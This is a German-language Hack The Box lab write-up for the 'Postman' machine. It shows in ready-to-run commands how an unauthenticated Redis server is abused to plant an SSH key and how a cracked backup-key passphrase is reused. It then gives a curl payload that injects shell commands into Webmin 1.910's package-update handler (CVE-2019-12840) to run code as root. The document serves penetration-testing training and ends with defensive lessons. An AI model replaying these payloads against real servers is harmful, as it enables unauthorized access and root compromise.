HTB · published
Postman
Hack The Box CPTS-Track Writeup für Postman: unauthenticated Redis file write, SSH als redis, KeePass/SSH-Key Credential Recovery, Matt-Pivot und Webmin CVE-2019-12840.
Metadaten
- Name: Postman
- IP Address:
10.129.2.1 - Plattform: Linux
- Kategorie: Redis / SSH / Credential Recovery / Webmin
- Schwierigkeit: Easy
- Ziel(e): User, Root
- Kurzbeschreibung: Postman ist eine Linux-Maschine mit SSH, Apache, Redis und Webmin. Der Einstieg gelingt über unauthenticated Redis: Durch Manipulation der Persistence-Konfiguration wird ein eigener SSH Public Key als
authorized_keysfür den Benutzerredisgeschrieben. Danach führt ein verschlüsselter Backup-SSH-Key zu Matt. Das wiederverwendete Passwort funktioniert auch in Webmin1.910, wo eine authentifizierte Package-Update Command Injection Root-Codeausführung ermöglicht.
Executive Summary
Redis war ohne Authentifizierung erreichbar und erlaubte CONFIG SET. Dadurch konnte Redis als File-Write-Primitive missbraucht werden, um einen SSH-Key in /var/lib/redis/.ssh/authorized_keys zu schreiben. Das lieferte den ersten stabilen Zugriff als Benutzer redis.
Auf dem System lag /opt/id_rsa.bak, ein verschlüsselter privater SSH-Key für Matt. Die Passphrase wurde mit John gecrackt:
computer2008
Dieses Passwort wurde für su - Matt und Webmin wiederverwendet. In Webmin 1.910 war die Package-Update-Funktion anfällig für authentifizierte Command Injection, wodurch Befehle als Root ausgeführt und die Root-Flag gelesen werden konnten.
Reconnaissance / Enumeration
ICMP deutete mit TTL 63 auf Linux hin. Der Full-Port-Scan zeigte vier offene TCP-Ports:
nmap -Pn -p- --min-rate 2500 -T4 -oA scans/tcp_full 10.129.2.1
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
6379/tcp open redis
10000/tcp open snet-sensor-mgmt
Der Service-Scan:
nmap -Pn -sC -sV -O --version-all -p 22,80,6379,10000 -oA scans/tcp_services 10.129.2.1
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 (Ubuntu)
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
Der Apache-Title war:
The Cyber Geek's Personal Website
Die Seite referenzierte Postman@htb. Der wirklich interessante Dienst war aber Redis auf Port 6379.
Redis Enumeration
Redis akzeptierte unauthentifizierte Befehle:
redis-cli -h 10.129.2.1 PING
redis-cli -h 10.129.2.1 INFO server
redis-cli -h 10.129.2.1 CONFIG GET dir
redis-cli -h 10.129.2.1 CONFIG GET dbfilename
Relevante Ergebnisse:
PONG
redis_version:4.0.9
dir /var/lib/redis
dbfilename dump.rdb
Da CONFIG SET möglich war, konnte Redis zum Schreiben einer Datei an einem kontrollierten Pfad missbraucht werden.
Foothold: SSH-Key über Redis schreiben
Zuerst wurde lokal ein dediziertes SSH-Keypair erzeugt:
ssh-keygen -t ed25519 -f loot/redis_ssh_key -N ''
Der Public Key wurde mit Leerzeilen umgeben, als Redis-Wert geschrieben und anschließend Redis so konfiguriert, dass der Dump als authorized_keys im .ssh-Verzeichnis des Redis-Users landet:
redis-cli -h 10.129.2.1 -x SET ssh_key < loot/redis_authorized_keys_payload.txt
redis-cli -h 10.129.2.1 CONFIG SET dir /var/lib/redis/.ssh
redis-cli -h 10.129.2.1 CONFIG SET dbfilename authorized_keys
redis-cli -h 10.129.2.1 SAVE
Danach wurden die Redis-Persistence-Werte wieder zurückgesetzt:
redis-cli -h 10.129.2.1 CONFIG SET dir /var/lib/redis
redis-cli -h 10.129.2.1 CONFIG SET dbfilename dump.rdb
SSH als redis:
ssh -i loot/redis_ssh_key redis@10.129.2.1
Proof:
uid=107(redis) gid=114(redis)
hostname=Postman
Credential Recovery
In der Redis-Shell-History gab es Hinweise auf eine Backup-Datei:
id_rsa.bak
Die Datei wurde in /opt gefunden:
/opt/id_rsa.bak
Sie war lesbar und wurde lokal heruntergeladen:
scp -i loot/redis_ssh_key redis@10.129.2.1:/opt/id_rsa.bak loot/matt_id_rsa.bak
Danach wurde sie für John konvertiert:
ssh2john loot/matt_id_rsa.bak > loot/matt_id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt \
--pot=loot/john_matt.pot loot/matt_id_rsa.hash
Gefundene Passphrase:
computer2008
Diese Passphrase wurde als Passwort von Matt wiederverwendet.
User Pivot zu Matt
Aus der Redis-SSH-Shell:
su - Matt
Passwort:
computer2008
Proof:
uid=1000(Matt) gid=1000(Matt) groups=1000(Matt)
sudo -l brachte keinen direkten Weg:
Sorry, user Matt may not run sudo on Postman.
User Flag
cat /home/Matt/user.txt
e21a0c07XXXXXXXXXXXXXXX649b610e0
Webmin Enumeration
Webmin lief auf Port 10000:
MiniServ 1.910 (Webmin httpd)
Das Passwort computer2008 funktionierte auch für Webmin:
curl -k -c loot/webmin_matt.cookies https://10.129.2.1:10000/ -o /dev/null
curl -k -b loot/webmin_matt.cookies -c loot/webmin_matt.cookies \
--data-urlencode 'user=Matt' \
--data-urlencode 'pass=computer2008' \
https://10.129.2.1:10000/session_login.cgi
Lokale Quellcodeprüfung zeigte, dass der Package-Update-Handler einen Paketnamen in einen Shell-Befehl einbaut:
local $cmd = "$apt_get_command -y ".($force ? " -f" : "")." install $update";
Damit war die authentifizierte Webmin-Command-Injection erreichbar. Diese Schwachstelle wird üblicherweise als CVE-2019-12840 geführt.
Privilege Escalation: Webmin Command Injection
Ein authentifizierter Request an /package-updates/update.cgi lieferte eine semicolon-delimited Payload. Um Probleme mit Slashes zu vermeiden, wurde / über POSIX printf erzeugt.
Payload:
curl -k -b loot/webmin_matt.cookies \
-e 'https://10.129.2.1:10000/package-updates/' \
--data-urlencode 'mode=new' \
--data-urlencode 'confirm=1' \
--data-urlencode \
"u=;p=\$(printf '\\057');id >\${p}tmp\${p}webmin_id;cp \${p}root\${p}root.txt \${p}tmp\${p}root_flag;chmod 644 \${p}tmp\${p}webmin_id \${p}tmp\${p}root_flag;" \
https://10.129.2.1:10000/package-updates/update.cgi
Die temporäre Proof-Datei bestätigte Root-Ausführung:
uid=0(root) gid=0(root) groups=0(root)
Root Flag
Die Root-Flag wurde über den Webmin-Root-Command-Path nach /tmp/root_flag kopiert und anschließend gelesen:
26354XXXXXXXXXXXXXXXX5f5d3
Cleanup
Die temporären Proof-Dateien wurden über dieselbe Webmin-Command-Injection entfernt.
Redis-Artefakte wurden ebenfalls bereinigt:
rm -f /var/lib/redis/.ssh/authorized_keys
redis-cli -h 10.129.2.1 DEL ssh_key
redis-cli -h 10.129.2.1 SAVE
redis-cli -h 10.129.2.1 CONFIG GET dir
redis-cli -h 10.129.2.1 CONFIG GET dbfilename
Verifikation:
dir /var/lib/redis
dbfilename dump.rdb
injected SSH key no longer accepted
Alternative Paths / Rabbit Holes
- Apache-Content-Discovery brachte keinen direkteren Foothold als Redis.
- Der verschlüsselte SSH-Key von Matt hätte eventuell für direkten SSH-Zugriff getestet werden können, aber
su - Mattund Webmin reichten aus. - Matt hatte keine sudo-Rechte, daher war Webmin der verifizierte Root-Weg.
Post-Exploitation
- Foothold: Unauthenticated Redis File Write zu
authorized_keys. - Initial User: SSH als
redis. - Credential Recovery:
/opt/id_rsa.bak, Passphrasecomputer2008. - User:
su - Matt, User-Flag in/home/Matt/user.txt. - Root: Authentifizierte Webmin Package-Update Command Injection.
- Root-Flag:
/root/root.txt, über Webmin nach/tmp/root_flagkopiert.
Lessons Learned
- Redis ohne Auth ist kritisch: Mit
CONFIG SETundSAVEwird Redis schnell zu einem File-Write-Primitive. - Backups sind Credentials: Ein verschlüsselter privater Key ist nur so stark wie seine Passphrase.
- Password Reuse entscheidet oft:
computer2008funktionierte als Key-Passphrase, lokales Passwort und Webmin-Passwort. - Admin-Webinterfaces patchen: Auch authentifizierte Schwachstellen sind gefährlich, wenn ein Low-Priv-User Zugriff hat.
- Cleanup verifizieren: Bei File-Write-Footholds sollten Datenbankwerte, Dateien und Login-Möglichkeiten geprüft werden.
Tools Used
nmapredis-clisshscpssh-keygenssh2johnjohncurlferoxbusterrg